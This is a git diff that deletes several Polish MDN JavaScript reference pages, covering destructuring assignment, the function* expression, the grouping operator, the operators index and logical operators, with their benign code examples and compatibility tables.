- - diff --git a/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html b/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html deleted file mode 100644 index 851acea725..0000000000 --- a/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html +++ /dev/null @@ -1,493 +0,0 @@ ---- -title: Przypisanie destrukturyzujące -slug: Web/JavaScript/Referencje/Operatory/Destructuring_assignment -translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment ---- -
{{jsSidebar("Operators")}}
- -

Składnia przypisania destrukturyzującego jest wyrażeniem w JavaScript, które pozwala na wyciągnięcie danych z tablic bądź obiektów do odrębnych zmiennych.

- -

Składnia

- -
var a, b, rest;
-[a, b] = [1, 2];
-console.log(a); // 1
-console.log(b); // 2
-
-[a, b, ...rest] = [1, 2, 3, 4, 5];
-console.log(a); // 1
-console.log(b); // 2
-console.log(rest); // [3, 4, 5]
-
-({a, b} = {a:1, b:2});
-console.log(a); // 1
-console.log(b); // 2
-
-// ES2016 - nie zaimplementowane w przeglądarce Firefox 47a01
-({a, b, ...rest} = {a:1, b:2, c:3, d:4}); 
- -

Opis

- -

Wyrażenie literału obiektowego i tablicowego umożliwiają łatwe tworzenie paczek danych ad-hoc

- -
var x = [1, 2, 3, 4, 5];
- -

Składnia przypisania destrukturyzacyjnego używa podobnej składni, ale z lewej strony przypisania definiujemy, które elementy wyciągnąć ze zmiennej źródłowej.

- -
var x = [1, 2, 3, 4, 5];
-var [y, z] = x;
-console.log(y); // 1
-console.log(z); // 2
-
- -

Funkcjonalność ta jest podobna do tych obecnych w językach takich jak Perl i Python.

- -

Destrukturyzacja tablic

- -

Podstawowe przypisanie zmiennych

- -
var foo = ["one", "two", "three"];
-
-var [one, two, three] = foo;
-console.log(one); // "one"
-console.log(two); // "two"
-console.log(three); // "three"
-
- -

Przypisanie oddzielne od deklaracji

- -

Zmiennej można przypisać wartość poprzez destrukturyzację oddzielnie od deklaracji tej zmiennej.

- -
var a, b;
-
-[a, b] = [1, 2];
-console.log(a); // 1
-console.log(b); // 2
-
- -

Domyślne wartości

- -

Zmiennej można przypisać wartość domyślną, w wypadku, gdy wartość wyciągnięta z tablicy jest niezdefiniowana - undefined.

- -
var a, b;
-
-[a=5, b=7] = [1];
-console.log(a); // 1
-console.log(b); // 7
-
- -

Zamiana zmiennych

- -

Dwie zmienne mogą zamienić się miejscami przy wykorzystaniu jednego wyrażenia destrukturyzującego.

- -

Bez wyrażenia destrukturyzującego, zamiana zmiennych wymaga zmiennej tymaczasowej (bądź, w niektórych językach niskiego poziomu, tricku XOR-swap).

- -
var a = 1;
-var b = 3;
-
-[a, b] = [b, a];
-console.log(a); // 3
-console.log(b); // 1
-
- -

Parsowanie tablicy zwróconej przez funkcję

- -

Zwrócenie tablicy poprzez funkcję zawsze było możliwe. Destrukturyzacja może sprawić, że praca ze zwróconymi wartościami typu array będzie bardziej zwięzła.

- -

W tym przykładzie, f() zwraca wartości [1, 2] jako jej wyjście, mogą one być sparsowane w jednej linijce poprzez użycie destrukturyzacji.

- -
function f() {
-  return [1, 2];
-}
-
-var a, b;
-[a, b] = f();
-console.log(a); // 1
-console.log(b); // 2
-
- -

Ignorowanie niektórych zwróconych wartości

- -

Możesz zignorować zwrócone wartości, którymi nie jesteś zainteresowany.

- -
function f() {
-  return [1, 2, 3];
-}
-
-var [a, , b] = f();
-console.log(a); // 1
-console.log(b); // 3
-
- -

Możesz także zignorować wszystkie zwrócone wartości:

- -
[,,] = f();
-
- - - -

Przypisanie reszty tablicy do zmiennej

- -

Podczas destrukturyzacji array'a możesz wypakować i przypisać jego pozostałą część do zmiennej używając operatora reszty:

- -
var [a, ...b] = [1, 2, 3];
-console.log(a); // 1
-console.log(b); // [2, 3]
- -

Zwróć uwagę, że zostanie wyrzucony {{jsxref("SyntaxError")}} jeśli końcowy przecinek będzie użyty z prawej strony wyrażenia z elementem reszty: 

- -
var [a, ...b,] = [1, 2, 3];
-// SyntaxError: rest element may not have a trailing comma
- -

Wypakowywanie wartości z wyników wyrażenia regularnego

- -

Gdy metoda wyrażenia regularnego  exec() znajdzie pasujący element, zwraca ona tablicę zawierającą kolejno cały string zawierajacy pasujące elementy, a później elementy stringa, które pasowały do każdej grupy wyrażenia regularnego znajdującej się w nawiasach. Wyrażenie destrukturyzujące pozwala na łatwe wypakowanie elementów tej tablicy ignorując pełny string, gdy nie jest on potrzebny. 

- -
function parseProtocol(url) {
-  var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
-  if (!parsedURL) {
-    return false;
-  }
-  console.log(parsedURL); // ["https://developer.mozilla.org/en-US/Web/JavaScript", "https", "developer.mozilla.org", "en-US/Web/JavaScript"]
-
-  var [, protocol, fullhost, fullpath] = parsedURL;
-  return protocol;
-}
-
-console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"
- -

Destrukturyzacja obiektów

- -

Podstawowe przypisanie

- -
var o = {p: 42, q: true};
-var {p, q} = o;
-
-console.log(p); // 42
-console.log(q); // true
-
- -

Przypisanie bez deklaracji

- -

Zmiennej można przypisać wartość poprzez destrukturyazację oddzielnie od deklaracji tej zmiennej.

- -
var a, b;
-
-({a, b} = {a:1, b:2});
- -
-

Nawiasy( .. ) na krawędziach wyrażenia przypisania są składnią wymaganą podczas używania wyrażenia destrukturyzującego literał obiektowy bez deklaracji.

- -

{a, b} = {a:1, b:2} nie jest poprawną składnią samą w sobie, ponieważ {a, b} z lewej strony wyrażenia jest odbierana jako blok, a nie literał obiektowy.

- -

Ale już, ({a, b} = {a:1, b:2}) jest poprawne, tak samo jak var {a, b} = {a:1, b:2}

-
- -

Przypisanie do nowych nazw zmiennych

- -

Zmienna może być wyciągnięta z obiektu i przypisana do zmiennej z inną nazwą niż nazwa właściwości obiektu.

- -
var o = {p: 42, q: true};
-var {p: foo, q: bar} = o;
-
-console.log(foo); // 42
-console.log(bar); // true  
- -

Wartości domyślne

- -

Zmiennej można przypisać wartość domyślną, w wypadku, gdy wartość wyciągnięta z obiektu jest undefined.

- -
var {a=10, b=5} = {a: 3};
-
-console.log(a); // 3
-console.log(b); // 5
- - - -

Przypisywanie do nowych nazw zmiennych i zapewnienie wartości domyślnych

- -

Właściwość może być zarówno 1) wypakowana z obiektu i przypisana do zmiennej z inną nazwą 2) może być jej przypisana wartość domyślna, gdy wypakowana wartość jest undefined.

- -
var {a:aa = 10, b:bb = 5} = {a: 3};
-
-console.log(aa); // 3
-console.log(bb); // 5
- - - -

Ustawianie domyślnej wartości parametru funkcji 

- -

Wersja ES5

- -
function drawES5Chart(options) {
-  options = options === undefined ? {} : options;
-  var size = options.size === undefined ? 'big' : options.size;
-  var cords = options.cords === undefined ? { x: 0, y: 0 } : options.cords;
-  var radius = options.radius === undefined ? 25 : options.radius;
-  console.log(size, cords, radius);
-  // now finally do some chart drawing
-}
-
-drawES5Chart({
-  cords: { x: 18, y: 30 },
-  radius: 30
-});
- -

Wersja ES2015 (ES6)

- -
function drawES2015Chart({size = 'big', cords = { x: 0, y: 0 }, radius = 25} = {}) {
-  console.log(size, cords, radius);
-  // do some chart drawing
-}
-
-// In Firefox, default values for destructuring assignments are not yet implemented (as described below).
-// The workaround is to write the parameters in the following way:
-// ({size: size = 'big', cords: cords = { x: 0, y: 0 }, radius: radius = 25} = {})
-
-drawES2015Chart({
-  cords: { x: 18, y: 30 },
-  radius: 30
-});
- -
-

W definicji funkcji drawES2015Chart() powyżej, destrukturyzowana lewa strona wyrażenia jest przypisana do pustego literału obiektowego z prawej strony: {size = 'big', cords = {x: 0, y: 0}, radius = 25} = {}. Można by było również napisać funkcję bez prawostronnego przypisania. Jednakże jeśli zostawisz prawą stroę przypisania, funkcja będzie szukać przynajmniej jednego argumentu podczas wywołania, natomiast w jej obecnej formie możesz po prostu wywołać drawES2015Chart() bez podawania parametrów. Ten sposób jest użyteczny gdy chcesz mieć możliwość wywołania funkcji bez podawania parametrów, ten drugi może być użyteczny, gdy chcesz być pewny, że obiekt został wprowadzony do funkcji.

-
- -

Obiekt zagnieżdżony i destrukturyzacja tablic

- -
var metadata = {
-    title: "Scratchpad",
-    translations: [
-       {
-        locale: "de",
-        localization_tags: [ ],
-        last_edit: "2014-04-14T08:43:37",
-        url: "/de/docs/Tools/Scratchpad",
-        title: "JavaScript-Umgebung"
-       }
-    ],
-    url: "/en-US/docs/Tools/Scratchpad"
-};
-
-var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
-
-console.log(englishTitle); // "Scratchpad"
-console.log(localeTitle);  // "JavaScript-Umgebung"
- -

Iteracja for..of i destrukturyzacja

- -
var people = [
-  {
-    name: "Mike Smith",
-    family: {
-      mother: "Jane Smith",
-      father: "Harry Smith",
-      sister: "Samantha Smith"
-    },
-    age: 35
-  },
-  {
-    name: "Tom Jones",
-    family: {
-      mother: "Norah Jones",
-      father: "Richard Jones",
-      brother: "Howard Jones"
-    },
-    age: 25
-  }
-];
-
-for (var {name: n, family: { father: f } } of people) {
-  console.log("Name: " + n + ", Father: " + f);
-}
-
-// "Name: Mike Smith, Father: Harry Smith"
-// "Name: Tom Jones, Father: Richard Jones"
- -

Wyciąganie pól z obiektów przekazanych jako parametr funkcji

- -
function userId({id}) {
-  return id;
-}
-
-function whois({displayName, fullName: {firstName: name}}){
-  console.log(displayName + " is " + name);
-}
-
-var user = {
-  id: 42,
-  displayName: "jdoe",
-  fullName: {
-      firstName: "John",
-      lastName: "Doe"
-  }
-};
-
-console.log("userId: " + userId(user)); // "userId: 42"
-whois(user); // "jdoe is John"
- -

To wyciąga id, displayNamefirstName z obiektu user i wypisuje je.

- -

Wyznaczane nazwy właściwości obiektów i destrukturyzacja

- -

Wyznaczane nazwy waściwości, tak samo jak wh literałach obiektowych, mogą być używane z destrukturyzacją.

- -
let key = "z";
-let { [key]: foo } = { z: "bar" };
-
-console.log(foo); // "bar"
-
- - - -

Reszta w destrukturyzacji obiektów

- -

Własciwości reszty/rozproszenia dla ECMAScript (proponowane, etap 3) dodają składnię reszty do destrukturyzacji. Właściwości reszty zbierają pozostałe klucze, które nie zostały pobrane poprzez wzorzec destrukturyzacji.

- -
let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}
-a; // 10
-b; // 20
-rest; // { c: 30, d: 40 }
- -

Nipoprawny identyfikator JavaScript jako nazwa własności

- -

Destrukturyzacja może zostać użyta z nazwami własności, które nie są poprawnymi identyfikatorami JavaScript poprzez zapewnienie alternatywnego, poprawnego identyfikatora.

- -
const foo = { 'fizz-buzz': true };
-const { 'fizz-buzz': fizzBuzz } = foo;
-
-console.log(fizzBuzz); // "true"
- - - -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}{{Spec2('ES2015')}}Definicja wstępna.
{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}{{Spec2('ESDraft')}}
- -

Kompatybilność przeglądarek

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari
Basic support{{CompatChrome(49.0)}}{{ CompatGeckoDesktop("1.8.1") }}14{{CompatNo}}{{CompatNo}}7.1
Computed property names{{CompatChrome(49.0)}}{{ CompatGeckoDesktop("34") }}14{{CompatNo}}{{CompatNo}}{{CompatNo}}
Spread operator{{CompatChrome(49.0)}}{{ CompatGeckoDesktop("34") }}12[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(49.0)}}{{ CompatGeckoMobile("1.0") }}{{CompatNo}}{{CompatNo}}8{{CompatChrome(49.0)}}
Computed property names{{CompatNo}}{{CompatChrome(49.0)}}{{ CompatGeckoMobile("34") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(49.0)}}
Spread operator{{CompatNo}}{{CompatChrome(49.0)}}{{ CompatGeckoMobile("34") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
-
- -

[1] Wymaga odblokowanej flagi "Enable experimental Javascript features" w `about:flags`

- -

Notatki specyficzne dla Firefox'a

- - - -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/function_star_/index.html b/files/pl/web/javascript/referencje/operatory/function_star_/index.html deleted file mode 100644 index 52d7a67c98..0000000000 --- a/files/pl/web/javascript/referencje/operatory/function_star_/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: wyrażenie function* -slug: Web/JavaScript/Referencje/Operatory/function* -tags: - - ECMAScript2015 - - Iterator - - JavaScript - - Operator - - funkcja -translation_of: Web/JavaScript/Reference/Operators/function* ---- -
{{jsSidebar("Operators")}}
- -

Słowo kluczowe function* może być użyte do zdefiniowania funkcji generatora wewnątrz wyrażenia.

- -
{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}
- - - -

Składnia

- -
function* [nazwa]([param1[, param2[, ..., paramN]]]) {
-   wyrażenia
-}
- -

Parametry

- -
-
nazwa
-
Nazw funkcji. Może być pominięta w przyadku funkcji anonimowych. Nazwa jest lokalna i ograniczona do ciała funkcji.
-
paramN
-
Nazwa argumentu przekazywanego do funkcji. Funkcja może mieć do 255 argumentów.
-
wyrażenia
-
Wyrażenia, które zawiera ciało funkcji.
-
- -

Opis

- -

Wyrażenie function* jest bardzo podobne i ma niemal taką samą składnię jak {{jsxref('Statements/function*', 'polecenie function*')}}. Zasadnicza różnica między wyrażenem function* a poleceniem function* to nazwa funkcji, która może być pominięta w wyrażeniach function*, co pozwala na tworzenie anonimowych funkcji generatorów. Zobacz również rozdział o funkcjach, aby dowiedzieć się więcej.

- -

Przykłady

- -

Następujący przykład definiuje nienazwaną funkcję generatora i przypisuje ją do x. Funkcja zwraca przekazany argument podniesiony do kwadratu.

- -
var x = function*(y) {
-   yield y * y;
-};
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ESDraft')}} 
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.operators.function_star")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/grouping/index.html b/files/pl/web/javascript/referencje/operatory/grouping/index.html deleted file mode 100644 index 5a076c3fb0..0000000000 --- a/files/pl/web/javascript/referencje/operatory/grouping/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Operator grupowania -slug: Web/JavaScript/Referencje/Operatory/Grouping -tags: - - JavaScript - - Operator -translation_of: Web/JavaScript/Reference/Operators/Grouping ---- -
{{jsSidebar("Operators")}}
- -

Operator grupowania ( ) pozwala na określenie kolejności wykonywania działań w wyrażeniach.

- -
{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}
- - - -

Składnia

- -
 ( )
- -

Opis

- -

Operator grupowania składa się z pary nawiasów otaczających wyrażenie lub podwyrażenie. Pozwala na nadpisanie standardowego pierwszeństwa operatorów, tak że wyrażenia z niższym piorytetem mogą być wykonane przed wyrażeniami z wyższym priorytetem. Zgodnie z nazwą, operator ten grupuje wyrażenia znajdujące się w nawiasach.

- -

Przykłady

- -

Nadpisanie zasady wykonywania mnożenia i dzielenia przed dodawaniem i odejmowaniem w taki sposób, by dodawanie wykonane było jako pierwsze.

- -
var a = 1;
-var b = 2;
-var c = 3;
-
-// domyślna kolejność
-a + b * c     // 7
-// wykonywana domyślnie w taki sposób
-a + (b * c)   // 7
-
-// zmiana kolejności wykonywania działań
-// dodawanie przed mnożeniem
-(a + b) * c   // 9
-
-// co odpowiada wyrażeniu
-a * c + b * c // 9
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-grouping-operator', 'The Grouping Operator')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.1.6', 'The Grouping Operator')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1', '#sec-11.1.4', 'The Grouping Operator')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.operators.grouping")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/index.html b/files/pl/web/javascript/referencje/operatory/index.html deleted file mode 100644 index 016c55af35..0000000000 --- a/files/pl/web/javascript/referencje/operatory/index.html +++ /dev/null @@ -1,282 +0,0 @@ ---- -title: Operatory -slug: Web/JavaScript/Referencje/Operatory -tags: - - JavaScript - - Operators -translation_of: Web/JavaScript/Reference/Operators ---- -
{{jsSidebar("Operators")}}
- -

This chapter documents all the JavaScript language operators, expressions and keywords.

- -

Wyrażenia i operatory w podziale na  kategorie

- -

 

- -

Lista operatorów w kolejności alfabetycznej znajduje sie w pasku bocznym po lewej stronie.

- -

Wyrażenia podstawowe

- -

Podstawowe słowa kluczowe i wyrażenia w  JavaScript.

- -
-
{{jsxref("Operator/this", "this")}}
-
Słowo this odnosi się do kontekstu wywołania.
-
{{jsxref("Operator/function", "function")}}
-
Słowo function umożliwia zdefniowanie wyrażenia funkcji .
-
{{experimental_inline}} {{jsxref("Operatory/class", "class")}}
-
Słowo class definiuje wyrażenie klasy.
-
{{experimental_inline}} {{jsxref("Operatory/function*", "function*")}}
-
The function* keyword defines a generator function expression.
-
{{experimental_inline}} {{jsxref("Operatory/yield", "yield")}}
-
Pause and resume a generator function
-
{{experimental_inline}} {{jsxref("Operatory/yield*", "yield*")}}
-
Delegate to another generator function or iterable object.
-
{{jsxref("Global_Objecty/Array", "[]")}}
-
Array initializer/literal syntax.
-
{{jsxref("Operatory/Object_initializer", "{}")}}
-
Object initializer/literal syntax.
-
{{jsxref("RegExp", "/ab+c/i")}}
-
Regular expression literal syntax.
-
{{experimental_inline}} {{jsxref("Operatory/Array_comprehensions", "[for (x of y) x]")}}
-
Array comprehensions.
-
{{experimental_inline}} {{jsxref("Operatory/Generator_comprehensions", "(for (x of y) y)")}}
-
Generator comprehensions.
-
{{jsxref("Operatory/Grouping", "( )")}}
-
Grouping operator.
-
- -

Left-hand-side expressions

- -

Left values are the destination of an assignment.

- -
-
{{jsxref("Operatory/Property_accessors", "Property accessors", "", 1)}}
-
Member operators provide access to a property or method of an object
- (object.property and object["property"]).
-
{{jsxref("Operatory/new", "new")}}
-
The new operator creates an instance of a constructor.
-
{{experimental_inline}} {{jsxref("Operatory/super", "super")}}
-
The super keyword calls the parent constructor.
-
{{experimental_inline}} {{jsxref("Operatory/Spread_operator", "...obj")}}
-
The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.
-
- -

Increment and decrement

- -

Postfix/prefix increment and postfix/prefix decrement operators.

- -
-
{{jsxref("Operatory/Operatory_arytmetyczne", "A++", "#Inkrementacja")}}
-
Postfix increment operator.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "A--", "#Dekrementacja")}}
-
Postfix decrement operator.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "++A", "#Inkrementacja")}}
-
Prefix increment operator.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "--A", "#Dekrementacja")}}
-
Prefix decrement operator.
-
- -

Unary operators

- -

A unary operation is operation with only one operand.

- -
-
{{jsxref("Operatoryy/delete", "delete")}}
-
The delete operator deletes a property from an object.
-
{{jsxref("Operatory/void", "void")}}
-
The void operator discards an expression's return value.
-
{{jsxref("Operatory/typeof", "typeof")}}
-
The typeof operator determines the type of a given object.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "+", "#Unary_plus")}}
-
The unary plus operator converts its operand to Number type.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "-", "#Unary_negation")}}
-
The unary negation operator converts its operand to Number type and then negates it.
-
{{jsxref("Operatory/Bitwise_Operators", "~", "#Bitwise_NOT")}}
-
Bitwise NOT operator.
-
{{jsxref("Operatory/Logical_Operators", "!", "#Logical_NOT")}}
-
Logical NOT operator.
-
- -

Operatory arytmetyczne

- -

Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.

- -
-
{{jsxref("Operatory/Operatory_arytmetyczne", "+", "#Addition")}}
-
Addition operator.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "-", "#Subtraction")}}
-
Subtraction operator.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "/", "#Division")}}
-
Division operator.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "*", "#Multiplication")}}
-
Multiplication operator.
-
{{jsxref("Operatory/Operatory_arytmetyczne", "%", "#Remainder")}}
-
Remainder operator.
-
- -

Operatory porównania

- -

Operator porównania, jak nazwa wskazuje, porównuje operandy  i zwraca wartość logiczną zależną od tego, czy wartość porównania jest prawdziwa. 

- -
-
{{jsxref("Operatory/in", "in")}}
-
Operator in ustala, czy obiekt posiada daną właściwość.
-
{{jsxref("Operatory/instanceof", "instanceof")}}
-
Operator instanceof ustala czy obiekt jest instancją innego obiektu.
-
{{jsxref("Operatory/Comparison_Operators", "<", "#Less_than_operator")}}
-
Less than operator.
-
{{jsxref("Operatory/Comparison_Operators", ">", "#Greater_than_operator")}}
-
Greater than operator.
-
{{jsxref("Operatory/Comparison_Operators", "<=", "#Less_than_or_equal_operator")}}
-
Less than or equal operator.
-
{{jsxref("Operatory/Comparison_Operators", ">=", "#Greater_than_or_equal_operator")}}
-
Greater than or equal operator.
-
- -

Equality operators

- -

The result of evaluating an equality operator is always of type Boolean based on whether the comparison is true.

- -
-
{{jsxref("Operatory/Comparison_Operators", "==", "#Equality")}}
-
Equality operator.
-
{{jsxref("Operatory/Comparison_Operators", "!=", "#Inequality")}}
-
Inequality operator.
-
{{jsxref("Operatory/Comparison_Operators", "===", "#Identity")}}
-
Identity operator.
-
{{jsxref("Operatory/Comparison_Operators", "!==", "#Nonidentity")}}
-
Nonidentity operator.
-
- -

Bitwise shift operators

- -

Operations to shift all bits of the operand.

- -
-
{{jsxref("Operatory/Bitwise_Operators", "<<", "#Left_shift")}}
-
Bitwise left shift operator.
-
{{jsxref("Operatory/Bitwise_Operators", ">>", "#Right_shift")}}
-
Bitwise right shift operator.
-
{{jsxref("Operatory/Bitwise_Operators", ">>>", "#Unsigned_right_shift")}}
-
Bitwise unsigned right shift operator.
-
- -

Binary bitwise operators

- -

Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.

- -
-
{{jsxref("Operatory/Bitwise_Operators", "&", "#Bitwise_AND")}}
-
Bitwise AND.
-
{{jsxref("Operatory/Bitwise_Operators", "|", "#Bitwise_OR")}}
-
Bitwise OR.
-
{{jsxref("Operatory/Bitwise_Operators", "^", "#Bitwise_XOR")}}
-
Bitwise XOR.
-
- -

Binary logical operators

- -

Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value.

- -
-
{{jsxref("Operatory/Logical_Operators", "&&", "#Logical_AND")}}
-
Logical AND.
-
{{jsxref("Operatory/Logical_Operators", "||", "#Logical_OR")}}
-
Logical OR.
-
- -

Conditional (ternary) operator

- -
-
{{jsxref("Operatory/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}
-
-

The conditional operator returns one of two values based on the logical value of the condition.

-
-
- -

Assignment operators

- -

An assignment operator assigns a value to its left operand based on the value of its right operand.

- -
-
{{jsxref("Operatory/Assignment_Operators", "=", "#Assignment")}}
-
Assignment operator.
-
{{jsxref("Operatory/Assignment_Operators", "*=", "#Multiplication_assignment")}}
-
Multiplication assignment.
-
{{jsxref("Operatory/Assignment_Operators", "/=", "#Division_assignment")}}
-
Division assignment.
-
{{jsxref("Operatory/Assignment_Operators", "%=", "#Remainder_assignment")}}
-
Remainder assignment.
-
{{jsxref("Operatory/Assignment_Operators", "+=", "#Addition_assignment")}}
-
Addition assignment.
-
{{jsxref("Operatory/Assignment_Operators", "-=", "#Subtraction_assignment")}}
-
Subtraction assignment
-
{{jsxref("Operatory/Assignment_Operators", "<<=", "#Left_shift_assignment")}}
-
Left shift assignment.
-
{{jsxref("Operatory/Assignment_Operators", ">>=", "#Right_shift_assignment")}}
-
Right shift assignment.
-
{{jsxref("Operators/Assignment_Operators", ">>>=", "#Unsigned_right_shift_assignment")}}
-
Unsigned right shift assignment.
-
{{jsxref("Operatory/Assignment_Operators", "&=", "#Bitwise_AND_assignment")}}
-
Bitwise AND assignment.
-
{{jsxref("OperatorsyAssignment_Operators", "^=", "#Bitwise_XOR_assignment")}}
-
Bitwise XOR assignment.
-
{{jsxref("Operatory/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}
-
Bitwise OR assignment.
-
{{experimental_inline}} {{jsxref("Operatory/Destructuring_assignment", "[a, b] = [1, 2]")}}
- {{experimental_inline}} {{jsxref("Operatory/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}
-
-

Destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.

-
-
- -

Comma operator

- -
-
{{jsxref("Operatory/Comma_Operator", ",")}}
-
The comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.
-
- -

Non-standard features

- -
-
{{non-standard_inline}} {{jsxref("Operatory/Legacy_generator_function", "Legacy generator function", "", 1)}}
-
The function keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.
-
{{non-standard_inline}} {{jsxref("Operatory/Expression_closures", "Expression closures", "", 1)}}
-
The expression closure syntax is a shorthand for writing simple function.
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-11', 'Expressions')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}{{Spec2('ES6')}}New: Spread operator, destructuring assignment, super keyword, Array comprehensions, Generator comprehensions
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/operatory/logical_operators/index.html b/files/pl/web/javascript/referencje/operatory/logical_operators/index.html deleted file mode 100644 index e690c5a24d..0000000000 --- a/files/pl/web/javascript/referencje/operatory/logical_operators/index.html +++ /dev/null @@ -1,254 +0,0 @@ ---- -title: Operatory logiczne -slug: Web/JavaScript/Referencje/Operatory/Logical_Operators -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators ---- -
{{jsSidebar("Operators")}}
- -
Operatory logiczne są zazwyczaj używane z wartościami typu {{jsxref("Boolean")}} (logicznymi) – wówczas zwracają również wartość typu logicznego. Jednakże operatory && i || w istocie zwracają wartość jednego z podanych operandów, więc jeśli operatory te są używane z wartościami nie-boolowskimi, wtedy mogą również zwracać nie-boolowskie wartości.
- -
- -
{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}
- - - -

Opis

- -

Operatory logiczne są opisane w poniższej tabeli:

- - - - - - - - - - - - - - - - - - - - - - - - -
OperatorUżycieOpis
Logiczne AND (&&)expr1 && expr2Zwraca expr1 jeśli wartość ta może być przekonwertowana na false, w przeciwnym razie zwraca expr2. Zatem, używany z wartościami typu logicznego, operator && zwraca true jeśli obydwa operandy mają wartość true, w przeciwnym razie zwraca false.
Logiczne OR (||)expr1 || expr2Zwraca expr1, jeśli wartość ta może być przekonwertowana na true; w przeciwnym razie zwraca expr2. Tak więc, używany z wartościami typu logicznego, operator || zwraca true którykolwiek z operandów równy jest true.
Logiczne NOT (!)!exprZwraca false jeśli jego operand można przekonwertować na true; w przeciwnym razie zwraca true.
- -

Jeśli dana wartość może być przekonwertowana na true, wówczas jest to tzw. wartość {{Glossary("truthy")}}. Jeśli dana wartość może być przekonwertowana na false, jest to tzw. wartość {{Glossary("falsy")}}.

- -

Przykładami wyrażeń, które mogą być przekonwertowane na false są:

- - - -

Mimo tego, że operatory && i || mogą być używane z wartościami nie-boolowskimi, nadal mogą być uznane za operatory boolowskie (logiczne), gdyż zwracane przez nie wartości mogą być zawsze przekonwertowane na wartości logiczne.

- -

Ewaluacja short-circuit

- -

Ponieważ wyrażenia logiczne są przetwarzane od lewej do prawej, sprawdzana jest najkrótsza możliwa ścieżka, pozwalająca na zwrócenie wyniku całego wyrażenia (tzw. short-circuit evaluation), zgodnie z następującymi zasadami:

- - - -

Zasady logiki gwarantują, że powyższe ewaluacje są zawsze poprawne. Zauważ, że części wyrażeń oznaczone słowem cokolwiek nie są ewaluowane, więc nie pojawią się żadne efekty uboczne. Zauważ też, że część cokolwiek powyższych wyrażeń może być dowolnym pojedynczym wyrażeniem logicznym (co wskazano przez nawiasy).

- -

Dla przykładu, poniższe dwie funkcje są równoważne.

- -
function shortCircuitEvaluation() {
-  // logiczne OR (||)
-  doSomething() || doSomethingElse();
-
-  // logiczne AND (&&)
-  doSomething() && doSomethingElse();
-}
-
-function equivalentEvaluation() {
-
-  // logiczne OR (||)
-  var orFlag = doSomething();
-  if (!orFlag) {
-    doSomethingElse();
-  }
-
-
-  // logiczne AND (&&)
-  var andFlag = doSomething();
-  if (andFlag) {
-    doSomethingElse();
-  }
-}
-
- -

